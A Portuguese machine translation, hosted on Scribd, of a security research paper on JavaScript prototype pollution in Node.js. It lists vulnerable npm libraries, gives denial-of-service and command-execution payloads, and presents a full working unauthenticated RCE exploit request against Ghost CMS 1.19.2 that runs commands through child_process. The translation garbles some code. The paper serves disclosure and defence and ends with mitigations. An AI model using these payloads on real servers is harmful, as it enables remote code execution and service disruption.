0% acharam este documento útil (0 voto)
12 visualizações27 páginas

JavaScript - Prototype - Pollution - Attack - in - NodeJS PT

Enviado por

uvm8455
Direitos autorais
© © All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
0% acharam este documento útil (0 voto)
12 visualizações27 páginas

JavaScript - Prototype - Pollution - Attack - in - NodeJS PT

Enviado por

uvm8455
Direitos autorais
© © All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
Você está na página 1/ 27

Assine o DeepL Pro para traduzir arquivos maiores.

Mais informações em www.DeepL.com/pro.

Ataque de poluição de
protótipos no aplicativo
NodeJS

Autor
Olivier Arteau
Tabela de conteúdo do site

Tabela de conteúdo 2

Introdução 4

Aprofundamento em JavaScript 5
O que é um objeto? 5
Acesso à propriedade 6
Propriedade mágica 6

Identificação da biblioteca vulnerável 8


Conceito geral 8
Manipulação suscetível à poluição do protótipo 9
Mesclagem recursiva de objetos 9
Definição de propriedade por caminho 9
Clone de objeto 10
Verificação de API vulnerável 11

Biblioteca afetada 12
Função de mesclagem 12
hoek 12
lodash 12
fundir 12
defaults-deep 12
mesclar objetos 12
Atribuição profunda 13
fusão profunda 13
mixin-deep 13
extensão profunda 13
opções de mesclagem 13
deap 13
merge-recursive 13
Clone 14
deap 14
Definição de propriedade por caminho 14
lodash 14
pathval 14
ponto-prop 14
caminho do objeto 14

Ataque à implementação vulnerável 15


A teoria 16
Negação de serviço 16
Poluição em loop for 17
Injeção de propriedade 18
A prática 19
Ghost CMS (RCE não autenticado) 19
Versão afetada 19
Prova de conceito 19
Solicitação de base 20
Desbloqueio do aplicativo 21
Injetando propriedade para executar código 23

Mitigação 26
Congelamento do protótipo 26
Validação de esquema da entrada JSON 26
Usando Map em vez de Object 26
Object.create(null) 27
Introdução
Poluição de protótipo é um termo que foi criado há muitos anos na comunidade JavaScript
para designar bibliotecas que adicionavam métodos de extensão ao protótipo do objeto
básico, como "Objeto", "Cadeia de caracteres" ou "Função". Isso foi rapidamente
considerado uma prática ruim, pois introduzia um comportamento inesperado no aplicativo.
A última grande biblioteca a usar esse tipo de mecânica foi a biblioteca chamada
"Prototype"1 . Embora a biblioteca ainda exista, em sua maior parte ela é considerada
morta.

Neste documento, analisaremos o problema da poluição do protótipo de um ângulo


diferente. E se um invasor pudesse poluir o protótipo do objeto base com seu próprio valor?
Que API permitiria essa poluição? O que pode ser feito com ela?

1 http://prototypejs.org/
Aprofundamento em JavaScript
Para aqueles que nunca se aprofundaram no funcionamento interno do JavaScript, pode ser
difícil entender completamente o restante deste documento. Portanto, uma breve
apresentação de como o "protótipo" funciona e algumas outras peculiaridades do JavaScript
são necessárias antes de começar.

O que é um objeto ?
Vamos começar com a maneira mais simples de criar um objeto.

var obj = {};

Embora não tenhamos declarado nenhuma propriedade para esse objeto, ele não está
vazio. De fato, podemos ver que várias propriedades retornam algo (ex.: obj. proto ,
obj.constructor, obj.toString, etc.). Então, de onde vêm essas propriedades? Para entender
essa parte, precisamos ver como as classes existem na linguagem JavaScript.

O conceito de uma classe em JavaScript começa com uma função. A própria função
funciona como o construtor da classe.

função MyClass() {

var inst = new MyClass();

As funções disponíveis em todas as instâncias de "MyClass" são declaradas no protótipo. O


que vale a pena ressaltar aqui é que, durante essa declaração, o protótipo é modificado no
tempo de execução. Isso significa que, por padrão, o programa pode, a qualquer momento,
adicionar, alterar ou excluir entradas no protótipo de uma classe.

MyClass.prototype.myFunction = function () { return


42;
};

var inst = new MyClass();


var theAnswer = inst.myFunction();

Se voltarmos ao nosso primeiro exemplo do objeto vazio, podemos dizer que o objeto vazio
que declaramos é, na verdade, um objeto que tem como construtor a função "Object" e que
as propriedades como "toString" são definidas no protótipo de "Object". A lista completa de
valores que vêm por padrão no objeto pode ser encontrada na documentação do MDN2 .

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype
Propriedade acesso
É bom observar que no JavaScript não há distinção entre uma propriedade e uma função de
instância. Uma função de instância é uma propriedade cujo tipo é uma função. Portanto, a
função de instância e outras propriedades são acessadas exatamente da mesma forma. Há
duas notações para acessar propriedades em JavaScript: a notação de ponto (ex.: obj.a) e
a notação de colchetes (ex.: obj["a"]). A segunda é usada principalmente quando o índice é
dinâmico.

var obj = { "a" : 1, "b" : function() { return 41; } }; var

name1 = "a";
obj.a // 1
obj["a"] // 1
obj[name1] // 1

var name2 = "b";


obj.b() // 41 obj.b
// function.
obj["b"] // função
obj[name2] // função

Magic propriedade

Há uma boa quantidade de propriedades que existem por padrão no protótipo do objeto.
Vamos explorar duas delas: "constructor" e " proto" .

"constructor" é uma propriedade mágica que retorna a função usada para criar o objeto. É
bom observar que em cada construtor há a propriedade "prototype" que aponta para o
protótipo da classe.

função MyClass() {

MyClass.prototype.myFunc = function () {
return 7;
}

var inst = new MyClass();


inst.constructor // retorna a função MyClass
inst.constructor.prototype // retorna o protótipo de MyClass
inst.constructor.prototype.myFunc() // retorna 7
" proto " é uma propriedade mágica que retorna o "protótipo" da classe do objeto. Embora
essa propriedade não seja padrão na linguagem JavaScript, ela é totalmente compatível
com o ambiente NodeJS. O que é bom observar sobre essa propriedade é que ela é
implementada como uma propriedade getter/setter que invoca
getPrototypeOf/setPrototypeOf na leitura/gravação. Portanto, a atribuição de um novo valor
à propriedade "proto" não sombreia o valor herdado definido no protótipo. A única maneira
de fazer isso envolve o uso de "Object.defineProperty".

função MyClass() {

MyClass.prototype.myFunc = function () {
return 7;
}

var inst = new MyClass();


inst. proto // retorna o protótipo de MyClass
inst. proto .myFunc() // retorna 7

inst. proto = { "a" : "123" }; // alterando o protótipo em tempo de


execução. inst.hasOwnProperty(" proto ") // false. Não redefinimos a
propriedade. Ela ainda é a propriedade mágica getter/setter
original
Identificação da biblioteca vulnerável

Geral concept
A ideia geral por trás da poluição de protótipo começa com o fato de que o invasor tem
controle sobre pelo menos o parâmetro "a" e o "valor" de qualquer expressão da seguinte
forma :

obj[a][b] = valor

O invasor pode definir "a" como " proto " e a propriedade com o nome definido por "b" será
definida em todos os objetos existentes (da classe de "obj") do aplicativo com o valor
"value". A mesma coisa pode ser acrescentada da seguinte forma quando o invasor tiver
pelo menos o controle de "a", "b" e "value".

obj[a][b][c] = valor

O invasor pode definir "a" como "constructor", "b" como "prototype" e a propriedade com o
nome definido por "c" será definida em todos os objetos existentes do aplicativo com o valor
"value". Entretanto, como isso requer uma atribuição de objeto mais complexa, é mais fácil
trabalhar com a primeira forma.

Embora seja muito raro encontrar um código que se pareça textualmente com o exemplo
fornecido, algumas manipulações podem proporcionar ao invasor um controle semelhante.
Isso será explorado na próxima seção.

Observação: Se o objeto que você está poluindo não for uma instância de "Object", lembre-
se de que sempre é possível subir na cadeia de protótipos acessando o atributo " proto " do
protótipo (ex.: "inst. proto . proto " aponta para o protótipo de "Object").
Manipulação suscetível ao protótipo pollution
Há três tipos de API que foram identificados neste documento e que podem resultar em
"protótipo"
poluição. Embora nem toda a implementação desses tipos de API disponíveis no NPM3 são
tenha sido afetada, pelo menos uma foi identificada.

● Mesclagem recursiva de objetos


● Definição de propriedade por caminho
● Clone de objeto

Objeto recursivo merge


A lógica de uma função de mesclagem recursiva vulnerável é, em um nível mais alto, algo
que se parece com o seguinte pseudocódigo:

merge (target, source)


propriedade foreach da fonte
se a propriedade existir e for um objeto no destino e na origem,
mesclar(destino[propriedade], origem[propriedade])
mais
target[property] = source[property]

Quando o objeto de origem contém uma propriedade chamada " proto " definida com
Object.defineProperty()4 , a condição que verifica se "a propriedade existe e é um objeto
tanto no destino quanto na origem" será aprovada e a mesclagem será recursada com o
destino sendo o protótipo de "Object" e a origem um "Object" definido pelo invasor. As
propriedades serão então copiadas no protótipo de "Object".

Definição de propriedade pelo caminho


Algumas bibliotecas oferecem API para definir o valor da propriedade em um objeto com
base em um caminho fornecido. Esse caminho geralmente é definido com uma notação de
ponto. Em sua maior parte, destina-se a simplificar a atribuição de valores em objetos
complexos. A função afetada geralmente tem a seguinte assinatura :

theFunction(objeto, caminho, valor)

Se o invasor puder controlar o valor de "path", ele poderá definir esse valor como " proto
.myValue". "myValue" será então atribuído ao protótipo da classe do objeto.

3 https://www.npmjs.com/
4 A maneira mais comum de isso acontecer é quando a entrada do usuário é analisada com
"JSON.parse".
Objeto clone
A poluição de protótipos pode ocorrer com APIs que clonam objetos quando a API
implementa o clone como mesclagem recursiva em um objeto vazio. Observe que a função
de mesclagem deve ser afetada pelo problema.

function clone(obj) {
return merge({}, obj);
}
Verificação da API vulnerável
Fazer revisões manuais de código em todas as bibliotecas NPM consome muito tempo e é
muito difícil usar a análise de código estático para identificar esse problema nas bibliotecas.
No entanto, como a API vulnerável terá um efeito colateral identificável, uma abordagem
dinâmica foi usada para identificar uma grande quantidade de bibliotecas afetadas. Embora
essa abordagem não identifique todas as bibliotecas afetadas, ela foi capaz de identificar
uma grande quantidade de bibliotecas com o mínimo de codificação e tempo de CPU.

A abordagem pode ser definida em um alto nível com a seguinte etapa:


1. Instale a biblioteca a ser testada com o "npm"
2. Em JavaScript
a. "exigir" a biblioteca por seu nome
b. Listar recursivamente todas as funções disponíveis.
c. Para cada função identificada
i. Chame a função com uma assinatura que poluiria o protótipo do
"objeto" se a implementação fosse vulnerável.
ii. Quando a chamada for concluída, verifique se o efeito colateral
ocorreu. Se tiver ocorrido, podemos marcar a função como afetada e
limpar o efeito colateral.

O código para isso é fornecido no repositório do GitHub junto com o PDF deste documento.
Biblioteca afetada
Com a abordagem descrita acima, consegui identificar uma boa quantidade de bibliotecas
que permitiam a poluição de protótipos quando o invasor podia controlar parte da entrada.
Em alguns casos, isso se deve a um bug não intencional e, em outros, é por design. Essa
lista não é exaustiva, mas abrange a biblioteca mais comum usada no aplicativo NodeJS.

Função Merge

piscina
hoek.merge
hoek.applyToDefaults

Corrigido na versão 4.2.1


Corrigido na versão 5.0.3

lodash
lodash.defaultsDeep
lodash.merge
lodash.mergeWith
lodash.set
lodash.setWith

Corrigido na versão 4.17.5

mesclar
merge.recursive

Não corrigido. O mantenedor do pacote não respondeu à divulgação.

Padrões - deep
defaults-deep

Corrigido na versão 0.2.4

mesclar objetos
mesclar objetos

Não corrigido. O mantenedor do pacote não respondeu à divulgação.


Atribuição - deep
atribuição profunda

Corrigido na versão 0.4.7

merge- deep
Fusão profunda

Corrigido na versão 3.0.1

mixin- deep
mixin-deep

Corrigido na versão 1.3.1

Extensão profunda
Extensão profunda

Não corrigido. O mantenedor do pacote não respondeu à divulgação.

opções de mesclagem
opções de mesclagem

Não corrigido. O mantenedor do pacote não respondeu à divulgação.

deap
deap.extend
deap.merge
deap

Corrigido na versão 1.0.1

mesclar-recursivo
merge-recursive.recursive

Não corrigido. O mantenedor do pacote não respondeu à divulgação.


Clone

deap
deap.clone

Corrigido na versão 1.0.1

Definição de propriedade pelo caminho


Essas funções são afetadas pelo design. Nunca permita que o argumento do caminho seja
uma entrada de usuário, a menos que a entrada de usuário esteja na lista de permissões.

lodash
lodash.set
lodash.setWith

pathval
pathval.setPathValue
pathval

ponto- prop
dot-prop.set
dot-prop

objeto- caminho
object-path.withInheritedProps.ensureExists
object-path.withInheritedProps.set
object-path.withInheritedProps.insert
object-path.withInheritedProps.push
object-path
Ataque à implementação vulnerável do site
Uma das particularidades desse ataque é que a exploração genérica fora do ataque de
negação de serviço depende de como o aplicativo trabalha com seu objeto. Para montar um
ataque mais significativo, precisamos encontrar um uso interessante de objetos no código.
A teoria

Negação de serviço
Uma das partes interessantes do protótipo de "Object" é que ele contém funções genéricas
que são chamadas implicitamente para várias operações (ex.: toString e valueOf). Ao poluir
o protótipo, é possível sobrescrever essas funções com uma "String" ou um "Object". Isso
quebrará quase todos os aplicativos e os impedirá de funcionar corretamente.

Considere o seguinte aplicativo Express. A chamada vulnerável, nesse caso, está localizada
na linha 12. A chamada mescla um valor que vem do corpo em um objeto. Ao executar o
script de exploração, as funções "toString" e "valueOf" são corrompidas e cada solicitação
subsequente retornará um erro 500.

servidor.js
1. var _ = require('lodash');
2. var express = require('express');
3. var app = express();
4. var bodyParser = require('body-parser');
5.
6. app.use(bodyParser.json({ type: 'application/*+json' }))
7. app.get('/', function (req, res) {
8. res.send("Use o método POST!");
9. });
10.
11. app.post('/', function (req, res) {
12. _.merge({}, req.body);
13. res.send(req.body);
14. });
15.
16. app.listen(3000, function () {
17. console.log('Exemplo de aplicativo escutando na porta 3000!')
18. });

exploit.sh
wget --header="Content-Type: application/javascript+json"
--post-data='{" proto " :{"toString": "123", "valueOf": "It works !"}}' http://localhost:3000/ -O-
-q
For-loop pollution
Um dos aspectos interessantes da "poluição de protótipos" é que as propriedades
adicionadas são enumeráveis. Isso significa que todo o loop "for(var key in obj) { ... }" agora
farão um loop extra com "key" sendo o nome da propriedade com a qual poluímos o
"Object". Portanto, uma das abordagens para explorar isso seria procurar um loop que
chame uma API perigosa e poluir o protótipo com valores que acionariam essa API com o
valor de nossa escolha. Observe que o invasor não precisa necessariamente acionar ele
mesmo o loop de destino. Desde que o loop seja alcançado, a exploração será bem-
sucedida.

Suponha que tenhamos o seguinte código em execução no servidor. Quando a carga útil for
enviada, na próxima vez que o loop for executado, o comando de nossa escolha será
executado.

código.js
1. var execSync = require('child_process').execSync;
2.
3. função runJobs() {
4. var comandos = {
5. "script-1" : "/bin/bash /opt/my-script-1.sh",
6. "script-2" : "/bin/bash /opt/my-script-2.sh"
7. };
8.
9. for (var scriptname in commands) {
10. console.log("Executando " + nome do script);
11. execSync(comandos[nome do script]);
12. }
13. }

payload.json
{" proto " :{"my malicious command": "echo yay > /tmp/evil"}}
Propriedade injeção
Outro aspecto interessante da "Poluição de protótipo" é que o atributo que definimos agora
existirá em objetos que não o definiram explicitamente. Um dos lugares em que isso pode
ser muito interessante é nos cabeçalhos HTTP. O módulo "http" do NodeJS suporta vários
cabeçalhos com o mesmo nome. A forma como isso é analisado é que todos os cabeçalhos
com o mesmo nome são concatenados e separados por vírgula. Portanto, se tivermos
poluído, por exemplo, a chave "cookie", o valor de "request.headers.cookie" sempre
começará com o valor que poluímos. Isso pode permitir uma variante poderosa de um
ataque de fixação de sessão em que todos que consultarem o servidor compartilharão a
mesma sessão.

payload.json
{" proto " :{"cookie": "sess=fixedsessionid; garbage="}}
A prática

Ghost CMS (não autenticado RCE)

Versão afetada do site


A vulnerabilidade foi encontrada e confirmada na versão 1.19.2, mas as versões de 1.17.x a
1.19.x também foram afetadas. A exploração foi feita para a versão 1.19.2. Outras versões
podem exigir uma pequena adaptação para funcionar corretamente. A primeira versão
lançada que corrigiu o problema é a 1.20.0

Prova do conceito
A carga útil completa pode ser encontrada na seção "Carga útil final". Para reproduzir a
exploração, você deve seguir as seguintes etapas:

- Inicie sua instância local do ghost com "ghost start". Isso deve abrir a instância na
porta 2368.
- Copie a carga útil da solicitação HTTP encontrada na seção "Carga útil final" na
janela do repetidor do Burp (ou o equivalente do Zap Proxy).
- Enviar a solicitação.
- Acesse http://127.0.0.1:2368/ com o navegador de sua preferência. O comando
"kcalc" será executado. Se nada for exibido, verifique se o pacote "kcalc" está
instalado, pois não é um pacote padrão OU altere a carga útil para iniciar outro
programa de sua escolha.
Base request

A localização do bug pode ser encontrada nesta nota de correção. Embora a nota de
correção seja muito vaga sobre o problema em questão, ela é a correção feita pelo Ghost
CMS para essa vulnerabilidade.

https://github.com/TryGhost/Ghost/commit/dcb2aa9ad4680c4477d042a9e66f470d8bcbae0f

A solicitação básica que será usada para essa exploração é a seguinte. A propriedade que
será copiada no protótipo do Object estará na declaração do objeto " proto ".

PUT /ghost/api/v0.1/authentication/passwordreset HTTP/1.1


Host: localhost:2368
Content-Type: application/json; charset=UTF-8
Conexão: close

{"passwordreset": [{
"token": "MHx0ZXN0QHRlc3QuY29tfHRlc3RzZXRlc3Q=",
"email": "[email protected]",
"newPassword": "kdsflaksldk930209",
"ne2Password": "kdsflaksldk930209",
"proto": {

}
}]}
Reparando o aplicativo
A injeção de propriedades no protótipo do objeto atrapalha muito a execução normal do
aplicativo. No caso do Ghost CMS, adicionar uma única propriedade faz com que todos os
pontos de extremidade travem ou retornem uma página de erro. Portanto, para montar uma
exploração poderosa, precisamos primeiro descobrir uma maneira de "reparar" o aplicativo.

O processo de "reparo" do aplicativo pode ser visto em alto nível como :

- Descobrir por que o aplicativo falha com a propriedade que temos.


- Adição da propriedade correta para corrigir a falha.
- Teste a correção com a propriedade recém-encontrada.
- Repita até chegar ao ponto desejado.

Para corrigir a falha, há algumas estratégias que podem ser usadas para descobrir a
propriedade certa a ser adicionada.

A correção de indefinição não é um objeto

O erro mais comum que você encontrará é "Cannot read property 'XXXX' of undefined". Isso
ocorre quando o código tenta ler uma propriedade com o valor "undefined". Quando uma
propriedade não existe no JavaScript, undefined é o valor de espaço reservado que será
retornado. Portanto, quando o código executa algo do tipo "obj.doesnotexist.doesnotexist",
ele falha. Um exemplo em que precisei corrigir uma propriedade ausente foi no seguinte
trecho de código. Devido à corrupção, quando a execução chega a esse ponto, o objeto
"result" não tem as propriedades esperadas. Isso provoca uma falha no tempo de execução.

// Chamada de fetchData para obter tudo o que precisamos


da API return fetchData(res.locals.channel).then(
função handleResult(result) {
// Se a página for maior que o número de
páginas, nós [...] if (pageParam >
result.meta.pagination.pages) {
[...]
}

Para corrigir isso, a seguinte propriedade foi adicionada à carga útil.

"meta": { "pagination": { "pages": "100" } }

A expressão "result.meta.pagination.pages" agora é avaliada

corretamente. Correção de recursão infinita

Um dos problemas que surgem ao poluir o protótipo de Object com a propriedade object é
que todos os objetos existentes no tempo de execução agora têm uma profundidade infinita.
Se, por exemplo, poluirmos o protótipo de Object com o seguinte valor :
Object.prototype.foo = {};

Como a propriedade "foo" que acabamos de adicionar também é do tipo Object, ela herdará
a propriedade foo. Isso torna o código a seguir correto.

var a = {};
a.foo.foo.foo.foo.foo.foo.foo.foo ===
a.foo

Isso, no entanto, cria uma recursão infinita quando há um trecho de código que itera
recursivamente no objeto. Para corrigir esse problema, podemos definir o valor com o qual
poluímos da seguinte maneira.

Object.prototype.foo = { "foo" : "" }


a.foo.foo === ""

Evitar becos sem saída

Às vezes, o acidente ocorre em locais que são "sem saída", o que significa que nenhuma
propriedade pode ser adicionada para evitar o acidente. Ao enfrentar esse tipo de situação,
a melhor abordagem a ser adotada é examinar todas as condições que foram adotadas até
o acidente. A ideia é encontrar uma condição em que a propriedade possa ser modificada
para que o caminho sem saída não seja mais utilizado.
Injeção de propriedade para executar o código

Alteração do modelo renderizado

Um dos pontos interessantes da maneira como o Ghost CMS funciona é que o modelo a ser
renderizado é carregado de forma preguiçosa. O carregamento lento envolve ter um valor
primeiro indefinido e depois defini-lo quando ele é acessado e indefinido. Isso significa que,
se poluirmos a propriedade "_template", o modelo renderizado será sempre o de nossa
escolha, pois a rotina de carregamento lento acreditará que ele já foi carregado.

Os modelos de guidão do aplicativo Ghost CMS são bastante difíceis de usar para injeção
de propriedades. No entanto, descobriu-se que o pacote "express-hbs" vem com seu caso
de teste. O modelo "emptyComment.hbs" foi o alvo mais fácil de injetar, pois contém apenas
uma invocação parcial.

Propriedade injetada

"_template":
"../../../current/node_modules/express-hbs/test/issues/23/emptyComment.hbs
"

Injeção de código no mecanismo de renderização

O mecanismo de renderização usado pelo Ghost CMS é o handlebar. A forma como o


handlebar renderiza o modelo envolve aproximadamente três estágios: O modelo de texto -
> Representação do objeto do modelo -> Código JavaScript. A propriedade que injetamos
está na forma da representação do objeto do modelo. Abusaremos da propriedade
"blockParams" que será injetada diretamente no código JavaScript final.

Propriedade injetada

"program": {
"opcodes": [{
"opcode": "pushLiteral",
"args": ["1"]
}, {
"opcode": "appendEscaped",
"args": ["1"]
}],
"children": [],
"blockParams": "CODE GOES HERE"
}
Carga útil final

Quando juntamos tudo, podemos obter essa carga útil final que exibirá um "kcalc" toda vez
que a página principal for carregada. Uma coisa que é bom mencionar é que, como a
execução do payload JavaScript está em um contexto do tipo eval, a função "require" não
está diretamente acessível. "require" pode, no entanto, ser
acessada por meio de "global.process.mainModule.constructor._load".

PUT /ghost/api/v0.1/authentication/passwordreset HTTP/1.1


Host: localhost:2368
Content-Type: application/json; charset=UTF-8
Conexão: close

{
"passwordreset": [{
"token": "MHx0ZXN0QHRlc3QuY29tfHRlc3RzZXRlc3Q=",
"email": "[email protected]",
"newPassword": "kdsflaksldk930209",
"ne2Password": "kdsflaksldk930209",
"proto": {
"_template":
"../../../current/node_modules/express-hbs/test/issues/23/emptyComment.hbs
",
"posts": {
"type": "browse"
},
"resource" (recurso):
"constructor", "type":
"constructor",
"program": {
"opcodes": [{
"opcode": "pushLiteral",
"args": ["1"]
}, {
"opcode": "appendEscaped",
"args": ["1"]
}],
"children": [],
"blockParams":
"global.process.mainModule.constructor._load('child_process').exec('kcalc'
,function(){})"
},
"children": [{"opcodes":
["123"],
"children": [],
"blockParams": 1
}],
"options": ";",
"meta": {
"paginação": {
"pages": "100"
}
}
}
}]
}

Criação de uma exploração mais estável

Nesse exploit, como estamos injetando código JavaScript, também podemos fazer com que
o aplicativo volte ao seu estado original após a execução do payload, excluindo todas as
propriedades que adicionamos ao protótipo do Object. Portanto, podemos substituir o valor
"blockParams" por este.

global.process.mainModule.constructor._load('child_process').exec('kcalc',
function(){})+eval('for (var a in {}) { delete Object.prototype[a]; }')

Essa é uma ideia interessante que recebi de Ian Bouchard enquanto discutia esse exploit
com ele.
Mitigação

Congelamento do protótipo
O padrão ECMAScript versão 5 introduziu um conjunto muito interessante de
funcionalidades na linguagem JavaScript. Ele permitiu a definição de propriedades não
enumeráveis, getter, setter e muito mais. Uma das APIs introduzidas foi "Object.freeze".
Quando essa função é chamada em um objeto, qualquer modificação adicional nesse
objeto falhará silenciosamente. Como o protótipo de "Object" é um objeto, é possível
congelá-lo. Fazer isso atenuará quase todos os casos de exploração.

Observe que, embora a adição de uma função ao protótipo do objeto base seja uma
prática desaprovada, ela ainda pode ser usada em seu aplicativo NodeJS ou em sua
dependência. É altamente recomendável verificar se há esse tipo de uso em seu aplicativo
NodeJS e na dependência dele antes de seguir esse caminho. Como o comportamento do
objeto congelado é falhar silenciosamente na atribuição de propriedades, pode ser difícil
identificar o bug.

mitigação.js

1. Object.freeze(Object.prototype);
2. Object.freeze(Object);
3. ({}) __proto . test = 123
4. ({}).test // isso será indefinido

Validação de esquema da entrada JSON


Várias bibliotecas no NPM (ex.: avj5 ) oferecem validação de esquema para dados JSON. A
validação de esquema garante que os dados JSON contenham todos os atributos esperados
com o tipo apropriado.
Ao usar essa abordagem para atenuar o ataque de "poluição de protótipo", é importante
que os atributos desnecessários sejam rejeitados. No avj, isso pode ser feito definindo
"additionalProperties" como "false" no esquema.

Usando o Map em vez do objeto


A primitiva Map6 foi introduzida no padrão EcmaScript 6. Ela funciona essencialmente como
um HashMap, mas sem todas as ressalvas de segurança que o Object tem. Agora, ela é bem
suportada no ambiente NodeJS moderno e está chegando lentamente ao navegador.
Quando uma estrutura de chave/valor é necessária, o Map deve ser preferido ao Object.

5 https://epoberezkin.github.io/ajv/
6 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map
Object.create(null)
É possível criar um objeto em JavaScript que não tenha nenhum protótipo. Isso requer
o uso da função "Object.create". O objeto criado por meio dessa API não terá o
protótipo
atributos " proto" e "constructor". A criação de objetos dessa forma pode ajudar a mitigar o
ataque de poluição de protótipos.

1. var obj = Object.create(null);


2. obj. proto // indefinido
3. obj.constructor // indefinido

Você também pode gostar